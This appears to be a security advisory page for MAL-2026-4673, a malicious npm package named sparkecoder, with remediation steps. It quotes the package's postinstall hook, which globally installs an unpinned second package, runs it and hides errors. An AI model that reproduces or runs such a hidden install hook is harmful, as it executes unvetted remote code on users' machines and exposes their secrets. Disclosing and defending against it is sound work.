MAL-2026-4673 Malicious code in sparkecoder (npm)
Malicious package
Published
MAL-2026-4673 is a malicious package: sparkecoder (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-4673/ (Markdown: https://insights.sbomify.com/MAL-2026-4673/index.md)
- Package
- sparkecoder
- Registry
- npm
What is MAL-2026-4673?
MAL-2026-4673 is a malicious package in sparkecoder, published on 21 May 2026.
Official description
package.json declares a postinstall hook: "npm install -g agent-browser 2>/dev/null || true; agent-browser install 2>/dev/null || true". On
npm install sparkecoder, this fetches whatever the current 'latest' version of the separate agent-browser package is on the npm registry, installs it globally (typically requiring elevated privileges), then invokes agent-browser install to run that package's own install-time logic. Both stderr and non-zero exit codes are suppressed (2>/dev/null || true), hiding any failure or output from the installer. The behavior is undocumented in the README. Because the dependency is unpinned and pulled transitively through a side channel (not via package.json dependencies), the installer's trust in sparkecoder is silently extended to whatever agent-browser ships today and at any future moment, with no version lock and no audit trail in the dependency tree. This is the namespace-abuse shape: sparkecoder itself is small, but installing it causes attacker- or third-party-controlled code from another package to execute on the installer's machine at install time, outside the normal dependency-resolution surface that lockfiles and audit tools inspect.What should I do about MAL-2026-4673?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.